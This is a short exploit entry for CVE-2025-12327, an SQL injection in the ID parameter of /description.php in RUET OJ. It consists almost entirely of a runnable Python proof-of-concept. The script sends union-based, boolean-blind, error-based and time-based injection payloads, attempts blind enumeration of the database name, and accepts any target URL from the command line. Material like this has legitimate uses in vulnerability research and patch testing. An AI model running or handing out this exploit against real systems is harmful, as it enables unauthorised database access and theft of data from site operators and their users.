CVE-2025-12327 shawon100 RUET OJ /description.php SQL注入漏洞

import requests import sys # CVE-2025-12327 SQL Injection PoC for RUET OJ /description.php # Target: shawon100 RUET OJ up to commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 def exploit_sqli(target_url, payload): """ SQL Injection exploit for /description.php The ID parameter is vulnerable to SQL injection """ # Target endpoint with vulnerable ID parameter url = f"{target_url}/description.php" # Test payloads for different SQL injection techniques payloads = { 'union_based': "1' UNION SELECT 1,2,3,4,5-- -", 'boolean_blind': "1' AND 1=1-- -", 'error_based': "1' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))-- -", 'time_based': "1' AND SLEEP(5)-- -" } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Use provided payload or default to union-based if payload == 'auto': payload = payloads['union_based'] params = {'ID': payload} try: print(f"[*] Sending payload: {payload}") print(f"[*] Target: {url}") response = requests.get(url, params=params, headers=headers, timeout=30) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_data(target_url): """ Extract database information using blind SQL injection """ # Database enumeration payload db_enum = "1' AND SUBSTRING((SELECT database()),1,1)='r'-- -" # Test if database name starts with 'r' print("[*] Attempting database enumeration...") result = exploit_sqli(target_url, db_enum) if result and 'error' not in result.lower(): print("[+] Database name likely starts with 'r'") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12327.py <target_url> [payload]") print("Example: python cve-2025-12327.py http://target.com/ruet-oj") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else 'auto' exploit_sqli(target, payload)